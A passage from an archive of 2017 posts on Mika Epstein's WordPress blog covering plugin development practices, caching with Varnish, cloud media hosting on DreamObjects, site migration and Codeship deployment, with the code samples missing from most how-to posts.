Those practices transcend every single minutia of programing. If you do those five steps, your code will be robust, sane, and safe. Because you will have taken the steps to ensure that humans can make as few mistakes as possible. You don't save 'Dog' when true/false is the only valid answer. ## Computers Do What We Tell Them To Do
The real problem is that AI doesn't exist.  Source: [CommitStrip.com](http://www.commitstrip.com/en/2017/06/07/ai-inside/)Computers can't think for themselves, and humans have a tendency to stop thinking at weird moments (or just go on auto-pilot) which means nothing can destroy work faster than a human. And since a computer does what it's told, the most dangerous computer tool is the one that doesn't account for how big a mistake a human can make. ## Sanitize, Validate, Escape
*Especially* when it's an admin.
**Categories:** How It Is
**Tags:** development, essay
---
### [Plex + Roku = TV](https://halfelf.org/2017/plex-roku-tv/)
**Published:** September 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Watching TV from the computer on the TV can totally be done.
**Content:**
I’m really trying *not* to add new devices to my life. I picked up a Roku last year so that I could watch CBS’ internet TV on my regular TV. I chose that instead of the Amazon or Apple TV because the Roku also let you add ‘apps’ for regular TV channels (SyFy, Freeform, PBS) and if I missed a TV episode due to travel, I could watch it on the big television.
Then I wanted to play some shows that I’d saved as MP4s from my laptop to my TV, without a new device like a Chromecast.
The solution was [Plex](https://www.plex.tv)
Plex is a media server you can run on your computer that lets you add all your media, even things that don’t exist in iTunes, and organize them sanely. You can manage it in your web browser (or command line) and while you do have to have an account with Plex the service, you don’t have to pay or sign up for any of the services.
If you have an Apple TV or an Amazon Fire you can use those too, but I used my Roku, added my media, and boom. Watching videos I own from my laptop on my TV.
A couple caveats:
1. If you download MP4s from *cough* torrent *cough* places, you’ll need to get their subtitles too.
2. TV show files need to named `SHOWNAME - S##E## - EPISODENAME.EXT` to work properly.
It’s not perfect, but it’s better than trying to watch TV on your computer.
**Categories:** How To
**Tags:** software, television
---
### [Housing Large Media Files](https://halfelf.org/2017/housing-large-media-files/)
**Published:** September 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The woes of big files on WordPress. Or anything really.
**Content:**
For the most part, the WordPress media library is fine. It falls down when we start needing to upload large files, though, for a variety of reasons. When we look at files like large PDFs or movies or podcasts, it’s really not a great solution to upload through WordPress itself. It’s slow, it’s clunky, and worst of all, those large file downloads can slow your site.
The ‘right’ fix is to offload large media to servers that are built for this sort of thing. And in this case, I’m talking about Amazon AWS or DreamObjects.
Of course, if you search for solutions like this, you’ll be disappointed. You will mostly find plugins that are geared towards syncing your media library with the cloud services. To be honest, the more I think about doing that, the less I feel like it’s a sustainable idea. Unless the CDN is super fast, it could actually make your site worse off by adding another domain to download from.
## I Don’t Trust Simple CDNs
I’ve always been skeptical of CDNs in general. When there’s a shared library, it makes sense for everyone to call the same library. That keeps the world in sync. But your own media? The reason a CDN is good is that you can distribute your content across multiple locations. Provided you can actually, you know, do that. And keep them all in sync.
Before hosting, I worked at a bank, and one of the headaches we had was pushing software updates across multiple servers and locations. After all, you can’t just upgrade the Chicago servers and not the LA and Atlanta ones. Plus you have to do them all at the same time, or make sure Jane in Idaho isn’t in the middle of depositing money when we reboot her server.
Knowing how crazy all that is, I worry about keeping data in sync across all the servers. What happens when media is updated? Is the CDN built so that my primary location properly triggers updates for everything else, and the data is updated? No matter what, I’m sure I’ll end up with some data out of sync for at least a little while.
In short, CDN synchronization isn’t simple and anyone who tells me it is, is selling something.
## So Why A CDN At All?
Big files.
The goal of a CDN is to speed up delivery of content without slowing down your website. For most images on a website, this isn’t a huge issue. But for those big files, it sure is. And uploading them to the could means three things:
1. No lost disk space
2. No lost bandwidth (if someone’s watching a movie for example)
3. No lost speed (see the aforementioned movie)
The rest of your CDN ‘needs’ can be handled properly by caching. I prefer server side, but as you like it. This means if I upload my large files to the CDN, I can link directly to them in my post content. Everyone wins.
## Except Uploading Sucks
The common solution is to manually upload the file via a client like Cyberduck or Transmit, copy the URL, and then paste it into a blog post. Yuck. What I need is a file manager for the cloud. And that doesn’t seem to exist for WordPress.
So I made something. [DreamHost Objects Dropzone](https://github.com/Ipstenu/dho-dropzone) lets me upload files to DreamObjects, through WordPress, without touching the file server at all. It’s not perfect. It can be slow when trying to get stats on all the items in a bucket, and I don’t quite have an interface to make it easy to insert links and content into posts. Yet.
Something to look forward to though.
**Categories:** How It Is
**Tags:** amazon, cdn, dreamobjects, wordpress
---
### [But Seriously...](https://halfelf.org/2017/but-seriously/)
**Published:** September 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The art of being taken seriously begins with taking things seriously.
**Content:**
In reviewing people’s code for WordPress, I’m constantly struck by the lack of foresight people put in to their success. When a developer makes it clear they intend to run a business or have some modicum of popularity, one would expect them to put a bit of effort into it. Instead, I’ve watched people make the same mistakes over and over. And they complain to me about why their plugin is failing to become “the one” to use.
The answer always seems to surprise them. People don’t take them seriously because they are unprofessional.
## WordPress Basics
First of all, no one magically knows all this when they start. So it’s alright not to know. However. If you’re going to go into business based around anything, you need to learn the rules of the road. Take the time to learn that it’s WordPress with a capital P, that there’s a foundation, a trademark, and, yes, that you cannot use WordPress in your domain name.
If you were going into business with PayPal or CitiBank, that’s all legwork you are expected to do beforehand. This is a business, and when you don’t take WordPress seriously, you won’t be taken seriously by WordPress.
## SEO Basics
Pick a good domain name for your business site. Make sure you’re not violating a trademark or copyright. Pick a good name for your product. For the love of all things whiskey, don’t name your slider plugin “Slider” and stop using “Mega” as a prefix for anything. Remember, the name of your product cannot infringe on *anyone’s* trademark. So while “Shoppable Cookie Cutters” is not trademarked, “Shoppable” is. And yes, you’ll get a C&D for being similar.
Write good copy for your website. Have a clear mission statement, a human about page, and some semblance of being real people. This extends to your documentation. Write it. Write it good. Write a readme that tl;dr pitches your product, explains why someone needs it, and details out what kind of services it uses (if any). Remember that most of your SEO comes from humans. Write for them.
## Community Basics
The OpenSource community in general will help anyone who asks politely. So be polite. Be respectful. Be courteous. Be generous. If people are helping you for free (and most of them are) then thank them and ask how to pay it forward. Offering services, answering generic questions, educating users, or even just publicly thanking volunteers helps.
The community also includes your users. Respect them. Especially when they’ve gone off the deep end and accuse you of wild impropriety. Your plugin hacked their site? Probably not, but treat them with respect and kindness. It goes a long way to inspiring the volunteers to back you up. But also don’t spam your users with a million in-product reminders to review your product, give it five stars, or otherwise distract them from actually using your plugin.
## Universal Basics
Do your research. There is nothing on this earth that is a get-rich-quick, so study what you’re getting into. Don’t jump in blindly. Make sure the community is one you can work with, that they have ethics similar to yours. And if not, make absolutely sure you really are comfortable with going for the money.
Set your expectations realistically, and be willing to have them reset. Take your work seriously, don’t make excuses like “someone else did this first!” Own up to any mistakes or missteps you make. Remember, you absolutely will screw something up along the way. The measure of success can be found in how you handle it.
**Categories:** How It Is
**Tags:** business, development, essay, oped
---
### [Be Nice to Future You](https://halfelf.org/2017/be-nice-to-future-you/)
**Published:** September 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Six simple rules for making your future you love you.
**Content:**
Sometimes the brunt of my education of developers is a constant reminder to be nice to the future them. Future you, or Drunk You if you’re Otto, loves you most when you take the time to prepare things for them. A little bit go foresight and planning will make life so much better for future you, and I’m going to break down six tips to make you love yourself in the future.
## Document, Document, Document
Yes. Document everything. Did you make an API for your system? Document it somewhere everyone can get to. For my LezWatch TV project, I painstakingly documented out all of that, plus how the git repositories worked, how they deploy code, and how to get access. This is for something that two people work on. But by documenting it, we all know what to do! The better my documentation, the less likely I get a panicked message from my cohorts in crime.
## Make Good Commit Messages
I’m terrible at this when it’s for personal use (the number of commits that are ‘I am stupid’ cannot be counted), but at work I’m pathological about a good subject and a descriptive summary. I want someone down the road to know what the patch does, but also why I did it.
> icons: Add new icon set
>
> Add 17 new icons from LIBRARY. This adds support for iconography with job descriptions, as well as better defaults for taxonomies and categories.
It’s not complicated, but it’s helpful when someone wonders “When *did* we add those new icons?”
## Inline Document Weird Stuff
One of my coworkers is great at this. Ben litters his code commits with them, and I’m sure some people find them annoying but I see them as helpful and amusing. Sometimes he puts in “I hate that we do this, but I needed to pass X.” That tells me two things: First, this code could be better. But second, I know what he’s trying to do and generally why. He’s given context to the situation, and future us will hopefully be able to make this better.
## Make Note of To-Do Items
Another great habit is to put in notes, as inline comments sure, but also in the documentation. I’ve been using Trello in addition to inline comments (usually things like “To Do: Add in a check for foobar”) to make sure that my future plan is known. You want to make sure future you knows where you were going, and those to-dos are your sticky notes.
## Follow Existing Project Standards
Okay. I hate this one. But. If your project has a standard, keep using it. The other day I ran into a problem where a new version feature wasn’t behaving the same way as the old one, but only in very specific situations. I walked backwards through the code until I determined a parameter didn’t exist on the new version. I had two options. One was to edit the code to check “If this new version, also…” and the other was to add the parameter to the 500 or so impacted items and then fix my code so it was always fixed going forward.
The project had been using the parameter method for years, so that was my solution. It followed the standards.
## If You Have A Plan, Use It
This sounds weird, doesn’t it? It came up when I was reviewing a plugin and noticed that some code looked very ‘generic’ while still being specific. I thought that it had to be a library the company had made for themselves, and asked if that was the case. I explained, if it *was* an original library they planned to reuse, they should use an if-exists check.
## What Are Your Tips?
What tips do you have to make life better for future you?
**Categories:** How It Is
**Tags:** documentation, website
---
### [Loading Common Libraries Smartly](https://halfelf.org/2017/loading-common-libraries-smartly/)
**Published:** August 30, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Including common libraries doesn't have to be complicated.
**Content:**
When you’re writing code, there’s a desire to not reinvent the wheel. This is a *good* desire. If someone else has made the code you need, using it is a better use of your time. But there’s a right way and a wrong way to include those common libraries, especially in WordPress themes and plugins.
## PHP Is Dumb
Okay, PHP isn’t dumb, but it’s a very top-down/left-right kind of language. The whole reason we tell people to name functions and classes uniquely in WordPress plugins and themes is that if two people name a function the same thing, PHP gets dumb and errors, telling you it can’t define the same function twice.
This means that commonly used PHP libraries should also be uniquely named. To their credit, most do. But still, what happens if two WordPress plugins or themes include the same library? That same error comes back about not defining the same function twice!
What this means is that when using a common library, it’s important that you enqueue it *safely* and *smartly*.
## Check If The Library Exists
The magic is that you need to detect *if* the code is already included and not re-include it. PHP gives you two straightforward ways to do this: [class\_exists](http://php.net/manual/en/function.class-exists.php) and [function\_exists](http://php.net/manual/en/function.function-exists.php).
It’s much easier for me when the code is wrapped nicely in a class. Assuming you have a library file that includes the class but doesn’t call it, you can check like this:
If it *does* include the class (with a `new MyLibraryClass()` in the library) then you can leave that bit out.
When you have a library that perhaps predates classes, you’ll want to pick the primary function and call it like this:
## What About The Weird Stuff?
There are two things I left out. What about namespaces and javascript libraries?
First of all, it’s *impossible* to check for the existence of a namespace. You see, a namespace doesn’t really exist. What does exists are the structures within the namespace. That means if you wanted to check for the class `ClassName` in the namespace of `MyName` you have to do this:
Second, if you’re looking for javascript libraries, and you’re using WordPress, you don’t have to. Just enqueue it.

The WordPress function [wp\_enqueue\_script()](https://developer.wordpress.org/reference/functions/wp_enqueue_script/) registers the script but does *not* overwrite and enqueues it.
Now there is a trick to all this. If you use the enqueue command properly, then this always works. By this I mean if you do it this way, it’ll work:
But… A lot of people do this:
And that means WordPress will load both `chartjs` and `my-plugin-chartjs` which sucks.
Also you don’t need to append `-js` (or `-css`) to your enqueues, as WordPress will do that for you.
**Categories:** How To
**Tags:** development, plugins, wordpress
---
### [You Don't Know Paths](https://halfelf.org/2017/dont-know-paths/)
**Published:** August 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Avoiding calling files directly in WordPress can be done even in the weirdest circumstances.
**Content:**
A common issue with plugins is where people insist they must call `wp-load.php` directly so that they can call WordPress functions and data when WordPress isn’t loaded. When I push back on that code, the common rationale is that there’s an external service that needs to ping a reliable URL to run code.
## You Don’t Know Where WordPress Is
When you hardcode in paths, or assume that everyone has WordPress in the root of their domain, you cause anyone using ‘Giving WordPress it’s own directory’ (a *very* common setup) to break. In addition, WordPress allows users to change the name of the `wp-content` folder, so any plugin that tries to guess where it is would break on any site that choses to do so.
This cuts both ways. First your clever script that tries to go to `example.com/wp-content/plugins/your-plugin/yourfile.php` is going to fail if someone moves that folder. Second your clever file that looks for `wp-load.php` by going up a couple folders will also fail.
You *can’t* know where WordPress is. The only way to know all that would be to do things from within WordPress.
## Never Call Files Directly
The only files you should ever call directly in your code is your code’s files *or* if you’re checking for the existence of another plugin or theme. This is the *only* time it’s smart to be hardcoding in paths of other code directly into your code.
Since most people call these files to have access to WordPress ‘without loading WordPress,’ the actual correct fix is to tie processing functions (the ones that need but don’t have access to core functions) into an action hook, such as “init” or “admin\_init”.
Code you add to WordPress should be inside WordPress, only accessible to people who are logged in and authorized, if it needs that kind of access. Plugin’s pages should be called via the dashboard like all the other settings panels, and in that way, they’ll always have access to WordPress functions.
## What’s The Right Answer?
Okay. There’s one case where it makes sense that you might possibly need to call a URL directly. If you’re hooking WordPress up to a service and you want to have a good URL to call, then yes, you would be well served by having one of the following:
- `example.com/?myplugin=runstuff`
- `example.com/myplugin/`
Don’t those look nice? There are two main ways to get there.
### External Rules
An external rule is basically you adding an redirect rule for a URL to point to a file. You could do this in `.htaccess` or `nginx.conf` but if you do it in WordPress, it looks like this:
Now the obvious issue here is that you’re still calling a php file directly, which means you don’t get any access to WordPress functions. Boo. Thankfully there’s another answer.
### Internal Rules
While more complicated and weird, this is a better solution.
First you need to actually make the rule:
This means that those two example URLs I pitched before are the same thing.
Next you need to tell WordPress not to stomp all over the query variables:
You have to do this because otherwise WordPress won’t know what to do with the query variable.
Finally we tell WordPress what to actually do with your variable:
You’ll notice that `// your functions here` code is waiting for your code. That’s because this time we’re including the PHP file and then in there you’ve theoretically written your code in a nice little function. And that function? Uses WordPress functions because it is one.
**Categories:** How To
**Tags:** development, wordpress
---
### [Is This A Good Idea?](https://halfelf.org/2017/is-this-a-good-idea/)
**Published:** September 1, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some thoughts on ideas that have been done before.
**Content:**
I’ve joked about this a few times, that I should go into business telling people if their web idea is a good one or not. The prices would be simple.
- $25 – A quick yes or no.
- $100 – I’ll tell you if it’s dangerous or possibly illegal.
- $500 – Details of everything.
While I doubt anyone would ever actually pay for that, let me tell you some things I think *are* bad ideas for the web, and why.
## Obvious Bad Ideas
Excluding the whole “Facebook but for pets!” and “Uber but for Pizza!” ideas, and dismissing every single ‘disruptive’ concept out there (seriously, no they’re not), some ideas are really easy to point at and say ‘this is a bad idea.’
If you’re thinking about making something new for WordPress, *before* you start coding, please use google. Because the first kind of bad idea is the idea that’s been done before, ad nasueum. For example, sliders, snowfalls, BMI calculations (actually ANY sort of calculators including loans), ‘simple’ contact forms, and Google Analytics.
These are bad ideas because they are *overdone*.
If it’s been done more than 10 times, and you’re not introducing something totally new (this includes the fellow who made a ‘login logo slider’ – no, it wasn’t new), then file it away as a good experiment. Write the code, but don’t publish it.
## Illegal/Dangerous Ideas
Depending on how often you hear me rant, you may or may not be surprised to find out how often people write code that’s illegal.
Now hold on. Before a single one of you says “But the GPL!” let me remind you. The GPL doesn’t make things magically legal just because it’s open source. You can use GPL code to break laws (like, say, make a child porn website), and while that’s fine for the GPL, it’s still illegal.
On a less creepy but still illegal note, the Yahoo! finance APIs aren’t actually legal for you to use in your code. Yes, I am well aware of the number of people who make packages for it. I’ve actually spoken to Yahoo about this and the way they explained it was this. Their Finance API is for your *personal* use. You’re not meant to use it to retrieve data for apps (and yes, plugins are apps) or any third-party usage (again, plugins). Also they do make it pretty clear with this comment:
> By accessing the Yahoo! site, you agree not to redistribute the information found therein.
A lot of public APIs have these restrictions, including Airbnb and even some Google APIs (finance again). And using them without checking the terms of use and verifying they’re allowed to be used in your situation puts you at risk for breaking the law and that is dangerous because, in the case of a plugin, it’s not *just* you who pays the price.
## Ignorant Code
Really the magic of everything, the answer to all ‘is this a good idea’ questions can be found in this. Did you bother to do the research *first*? And no, I don’t mean did you do market research (though that’s a good idea too).
Did you check if the idea existed already? Did you check if the tools you want to use permit that kind of use? Did you read the terms of use of any service? Did you listen to your gut or not?
Think first. Look before you leap. And above all, please don’t make yet another snowflake tool. No one actually likes them.
**Categories:** How It Is
**Tags:** development, essay, open source
---
### [Dogfooding DreamPress](https://halfelf.org/2017/dogfooding-dreampress/)
**Published:** August 25, 2017
**Author:** Ipstenu (Mika Epstein)
**Content:**
While I work for [DreamHost](https://www.dreamhost.com), and I’ve used [DreamPress](https://www.dreamhost.com/hosting/wordpress/) since day one, I haven’t have the opportunity to put a serious, stress site up on it. The reason for that is simple. The two sites I have that I might do that for are ineligible for pretty much all managed WordPress hosts … because they’re not 100% WordPress.
But. There is one domain that is, and I’ve moved it over. And this gives me an opportunity to determine what needs to be done to *this* site to make it fly on a different host.
## All Hosts Require Site Tuning
This is possibly an unpopular opinion, but no matter which host you pick, there will never be a ‘drop it in and forget it’ option for any web host. The reason is that no two sites are the same. No two sites use the same code, have the same data, and have the same traffic patterns. And *all those things* come together to determine how well your site will run.
No matter who your web host is, you will have to adjust. It may be something as simple as editing an .htaccess file or removing a plugin you no longer need. Maybe it’s as complex as PHP settings or having someone write you custom code.
I don’t mean to say that no two hosts are equal, or that one is better than another. What I mean is that no two situations are identical. Of course a site will work, out of the box, better on one site than another. But when we have the capacity to understand what it is that makes our site work, what it does and how it does it, we can make any site work on nearly any host.
## For DreamPress, I Made Four Changes
After I moved the site over to a test setup, I quickly debugged the ‘big’ issues. I had a white screen of death. Thankfully I knew right away what it was, because I was clearly aware of what went into my site and how it worked.
First, a lot of sanity checks I’d put in to my .htaccess didn’t work. Primarily it was a case of how I’d handled redirects, since I was using an Apache4 format that didn’t work universally.
Second, I wanted to use a phar file, so I had to add custom lines to my PHP settings to let it know how to run properly.
Third, I replaced the old caching system with the new one. DreamPress has Memcached and Varnish, so I removed some of the object caching I didn’t need anymore.
Fourth, I wrote some customized code to teach my site how to talk to Varnish, since I do weird things.
That’s it. Four things. And I was able to debug this in about an hour because I took stock of the moving parts of my website. Not everyone can do this, I understand that, but when you build out a website, even if you can’t code, it’s incumbent on you to document what you did.
When you add a plugin or a theme, you need to make a note somewhere of what it is and why you did it. I recommend someplace *not* on WordPress, since if your site is down, it won’t do you any good at all.
## The Immediate Impact
With those four changes, the result was immediately obvious.

In the chart above, there are two major drops in speed (in this case, a drop is good). At the end of July, I reoptimized how images were processed by using Photon via Jetpack, I applied caching for FacetWP, and I removed all Google Ads. In doing so, I **halved** my time to load. This is a great thing.
But then, just by moving to DreamPress and doing *no* changes to code, I halved it again.
The average site load is now .8 seconds. It ‘spikes’ to 1.2 seconds if you hit a non-cached page. The time to first byte, which is shown on the graph as the yellow/orange line, went from 1.6 second to .1 second.
## Was Everything Perfect?
No. But as it turned out, everything that wasn’t perfect had *nothing* to do with my new hosting setup. I reproduced the site locally and found I had some seriously slow database queries on a couple pages, which resulted in poor load times. Once I fixed that, a few of my archive pages began to fly.
Also as I mentioned in the four things I changed, I did have to write new code. The bonus for the new code is that I was also able to back port some of that into the Varnish plugin itself, which means fewer people will have to write that code. You’re welcome. But that really was more for convenience as the site ran fine, it was just a bit overly aggressive in caching.
## Is DreamPress Right For Everyone?
No host is right for everyone. Period. End of conversation.
Is it right for *you*? Maybe. It certainly can be, and not just for generic ‘blog’ type sites. But you have to know what your site does, who uses it, and what they do to really know the right questions to be asking.
The question isn’t “Is this good for me?” but “What does this do to a site that does what I do?”
**Categories:** How It Is
**Tags:** dreamhost, dreampress, review
---
### [Remotely Hosting SVGs](https://halfelf.org/2017/remotely-hosting-svgs/)
**Published:** August 16, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving SVGs to the cloud for multiple sites.
**Content:**
I prefer to use SVGs whenever possible instead of pngs or font icons. They can be resized, they can be colored, and they’re relatively small. But I also have a set of 700 icons I use and I don’t want to have to copy them to every single site. Instead, I’d like to have them all on a central repository and call them remotely.
## To The Cloud
You can use S3 or really anything for this, but I chose [DreamObjects](https://www.dreamhost.com/cloud/storage/) since it’s open source and I work for DreamHost.
For this to work, you create a bucket in DreamObjects with whatever name you want. I tend to name them after the website I’m working on, but in this case I’m making what is essentially a media library so a better bucket name would be the service. Keep in mind, while you *can* make a DNS alias like `media.mydomain.com` for this, you *cannot* use that with https at this time. Sucks. I know.
On DreamObjects, the accessible URL will be `BUCKET.objects-us-east-1.dream.io` — hang on to that. We’ll need it in a bit.
## Upload Your Files
Since I plan to use this as a collective for ‘media’ related to a network of sites, I named the bucket for the network and then made subfolders:
- backups
- site1
- site2
- svg
- svgcolor
Backups is for everything you’re thinking. Site1 and Site2 are special folders for files unique to those domains only. Think large videos or a podcast. Since they’re not updated a lot, and I want them accessible without draining my server resources, the cloud is perfect. I separated my SVG files into two reasonable folders, because I plan to generate a list of these later.
## Calling An Individual File
This is the much easier part. In general, PHP can use `file_get_contents()` for this. But we’re on WordPress and there is a more reliable way about this.
By using `wp_remote_get` it’s possible to check if the file exists before displaying the content of the body. Which is, indeed, how one displays the content.
The reason, by the way, we want to use `wp_remote_get` and not `file_get_contents` is that there’s no way to check if the file exists with the latter. You could still use `file_get_contents` to display the file, but once you’ve done the remote get, you may as well use it.
## Getting a List Of All SVGs
I’d done this before with local images, [getting a list of all the SVGs](https://halfelf.org/2017/taxonomy-icons/). You can’t do a foreach of a remote folder like that. So this is a little messier. You’ll need the [Amazon AWS SDK for PHP](https://docs.aws.amazon.com/aws-sdk-php/v3/guide/index.html) for this. I’ve tested this on the latest of the 2 branch – [2.8.31](https://github.com/aws/aws-sdk-php/releases/tag/2.8.31) – and the 3 branch – [3.32.3](https://github.com/aws/aws-sdk-php/releases/tag/3.32.3) and the code is different but can work.
In both cases, I downloaded the .phar file and included it in a function that I used to save a file with a list of the image names in them. By doing that, I can have other functions call the file and not have to query DreamObjects every time I want to get a list.
I left out the SDK code. Let’s do that now.
### SDK V2
The V2 is actually what’s still officially supported by CEPH, but the PHAR file is larger.
### SDK V3
I would recommend using V3 if possible. Since you’re only using it to get data and not write, it’s fine to use, even if it’s not supported.
### Side Note…
If you’re on DreamHost, you’ll want to add this to your `phprc` file:
That way it knows to run phar files properly. And by the way, that’s part of why phar files aren’t allowed in your WordPress plugins.
## Which is Better?
That’s a difficult question. When it comes to loading them on the front end, it makes little difference. And having them on a CDN or a cloud service is generally better. It also means I don’t have to push the same 400 or so files to multiple servers. On the other hand, calling files from yet another domain gets you a down check on most site speed checks… But the joke’s on them. The image is loaded in PHP.
Of course the massive downside is that if the cloud is down my site can be kinda jacked. But that’s why using a check on the response code is your lifeline.
**Categories:** How To
**Tags:** cloud, design, wordpress
---
### [Flushing Another Post's Varnish](https://halfelf.org/2017/flushing-another-posts-varnish/)
**Published:** August 23, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some fun with Varnish and updating a post not your own.
**Content:**
The other day I talked about [updating another post’s meta](https://halfelf.org/2017/updating-another-posts-meta/). That’s all well and good, but what happens when you’ve cached that other page?
Most cache tools work via the simplistic understanding that if you edit a page, you want to empty the cache for that page. The problem with my clever post-meta updating is that *doesn’t* actually update the post. Oh, sure it updates the data, but that doesn’t perform an update in a way that most plugins understand.
Thankfully this can be done programmatically in a few different ways, depending on what plugin is used.
1. Tell Varnish to empty the page’s cache any time post meta is updated
2. Add a force-empty command to the function that updates the meta
## Using Varnish HTTP Purge
Since I’m running on DreamPress, my plugin of choice is [Varnish HTTP Purge](https://wordpress.org/plugins/varnish-http-purge/). This is a very simple plugin that has no real interface by design. Mike Schroder and I picked it for use because of it’s beautiful simplicity, and when it was abandoned, adopted it. I’m rather well acquainted with it and at the behest of others, I wrote in code where people could add extra URLs to flush as well as extra events to trigger. [There’s even a wiki doc about it](https://github.com/Ipstenu/varnish-http-purge/wiki/How-to-Use-Custom-Filters).
However. That’s not what I did here because I wanted to limit when it runs as much as possible.
## When To Empty Cache
There’s a part of caching that is always difficult to manage. When should a page be emptied and when should a whole section of pages be emptied? The obvious answer is that we should retain a cache as long as possible, emptying select pages only when necessary.
With WordPress posts and pages it’s pretty easy to know “Update the post, empty the cache.” But when you start talking about things like the JSON API, it’s a lot harder. Most plugins handle the JSON API for you, but if you’ve built your own API (like say `/wp-json/lwtv/`) and built out a lot of custom APIs (like say stats or an Alexa skill) you *will* want to flush that whole darn thing every single time.
## The Code
Okay so how do we do that easily?
In the function I showed you the other day, I added this right before the re-hook at the end:
That makes sure the Varnish plugin is running and calls a URL to flush. Done. If you want to have it do more URLs, you can do this:
And then you can add in as many as you want.
**Categories:** How To
**Tags:** custom post types, varnish, wordpress
---
### [Updating Another Post's Meta](https://halfelf.org/2017/updating-another-posts-meta/)
**Published:** August 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A brief note about updating a different post type's meta.
**Content:**
Over on LezWatch TV we have two post types, shows and characters. In an added wrinkle, there’s data that exists on the show pages that is updated by the character pages.
That means when I save a character page, I need it to trigger a series of updates to post meta of whatever shows the character belongs to. But because of the complexities of the data being saved, I need to run it when the show saves too.
## The Code
This runs three actions, saving shows and characters, and also a custom one that the character page will call. It needed to be split like that because some characters have multiple shows.
**Categories:** How To
**Tags:** custom post types, wordpress
---
### [I Hate Migrating Sites, And That's Okay](https://halfelf.org/2017/hate-migrating-sites-thats-okay/)
**Published:** August 18, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Mansplaining migrations to a professional.
**Content:**
Friday I tweeted coming up for air after migrating a 1 gig website. And I had hated doing it.
Apparently that was a signal for men with whom I’m acquainted with but am not friends to drop unsolicited advice on me, most of which I’ve already written about on this blog.
I found this incredibly condescending from most people. When someone says “I hate X…” and your reply is “Have you tried…” then you **aren’t** listening to them. You’re addressing them from a place of superiority and arrogance. “I know better than you. Let me tell you what to do.” Or worse, you’re listening for keywords and then pitching your wares.
Let me put this clearly:
1. I did not ask for help (I didn’t need it)
2. None of the men *asked* if I needed help (they assumed I did)
3. None of them were friends.
That last one is important. If my good friends, the people whom I play CAH with or share drinks, offer unsolicited advice, they know me well enough to do so intelligently. They do it respectfully and sometimes sarcastically. But they are friends. When non-friends, Internet people with whom I’ve exchanged words or reviewed code, do it, it’s not at all the same.
Here’s a selection of how my weekend went:
## “But I love it!”
That one wasn’t advice, and as it happened, he didn’t *like* moving sites, he liked writing the code to do it. Me too! But watching a site move is as fun as watching paint dry. And testing everything to make sure the code works on the new server is similarly dull. And yet you have to do it.
## “That’s not a large site.”
Didn’t say it was. Again, not advice, and this was from someone I know fairly well, so I was more inclined to chat about it. Turns out he has to move a 5 G site multiple times a year. Which … something’s wrong there, first of all. But also his users need to sit down and talk about image sizes, because daaaaayyyyyyymmmmmnnn.
## “You should use wp-cli.”
Funny thing, I did. I love using wp-cli for updating the database, and since I happened to be unraveling a multisite, it was perfect. But you know… I’ve written tutorial on it, added documentation, written extensions, and talked about that tool multiple times. Including on this site. Know your audience, folks.
## “You should use zip \[instead of rsync\].”
When you’re looking at large files, like gigs, sometimes zip is stupid and won’t unpack. PHP has limitations of 2G you see. I did zip up the plugins and themes and then the uploads, but I had to move them from server A to server B. And I did that with rsync. My other option was to download and then re-upload. Maybe if you’d suggested SCP you would have been helpfull. Rsync made sure I didn’t re-copy anything.
## “You should use \[my service\].”
No. Absolutely not. No. JM Dodd is the *only* human I would trust with that kind of a migration. Why? Because it was WordPress Multisite. None of your tools, not even VaultPress, is capable of handling that well. Plus, the added wrinkle was moving one multisite into it’s three separate sites.
Also … I am very very very skeptical of using anyone’s tools. I review their code and their websites and their communication skills. And honestly, I’m not impressed by that company. They just don’t give me the feel-goods I’d want when going into business. To be fair, I’m not sure how I feel about VaultPress either, but they’re my experiment.
To be fair, one of the services apologized after.
## “Why not move things manually?”
I … did? This one takes the cake because when I pointed out that I did know that stuff, and perhaps one should think about to whom they are offering unsolicited advice, I got told that I should use a specific host and service. After I blocked him, he subtweeted about women/lesbians and their egos. Not a great way to win your case, buddy.
## “You should use host X.”
Stop. I didn’t ask for hosting advice, nor was it mentioned. People move sites on the same host sometimes, you know. And once I had the site up on site.dream.press, moving it live was ten seconds of work.
## I Never Asked For Help
This is the big deal. The word ‘help’ never came out of my mouth. I didn’t even break DNS or forget TTL this time. I didn’t need help. All this was, was me saying I hate moving sites when they’re a gig (or more) of data.
Not single man asked me “Do you need help?”
They all assumed I did.
That, friends, is why I called it Mansplaining, and blocked over ten men on twitter.
*Comments on this post are disabled. Don’t reply, just think about it.*
**Categories:** How It Is
**Tags:** essay, oped, wordpress
---
### [Deploying from GitHub with Codeship](https://halfelf.org/2017/deploying-github-codeship/)
**Published:** August 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Deploying from Github to your server, pretty much any server, via Codeship.
**Content:**
For the longest time I self-hosted all my git repositories not so much because I enjoyed doing so but because there were limited options for *easily* pushing code from git to my servers. Invariably you will end up using an intermediary because GitHub and their peers have no real reason nor inclination to make those things easy for you. After all, if they can keep you in their systems, more money to ’em.
And while that’s perfectly understandable and logical, it’s annoying. And if you’re on a budget and not a Git Expert, it’s extremely frustrating. The [deployment API](https://developer.github.com/v3/guides/delivering-deployments/) was written in High Level Geek, and I found it a headache to decipher and test.
Thankfully there are tools for that, and one of them in [Codeship](https://codeship.com). Codeship is free for 100 builds a month, and unlike [DeployHQ](https://www.deployhq.com), it uses rsync, which meshes with my preferred way of moving data.
## The Plan
My plan is simple. I want to push code to a Github Repository and, when it’s a push to master, it would rsync the files over to my server. This will allow multiple people to work on code, among other things.
## The Setup
First make an account with Codeship. You can log in as Github which is useful since you’ll want to connect your Github account with Codeship anyway. When you create a project, you’ll be prompted which SCM you want to use:

I’m using Github, but it’s nice to see GitLab in there as well. Once you pick your SCM, paste in the clone URL.
Examples:
- `git@github.com:/.git`
- `https://github.com//.git`
- `https://github.com/codeship/`
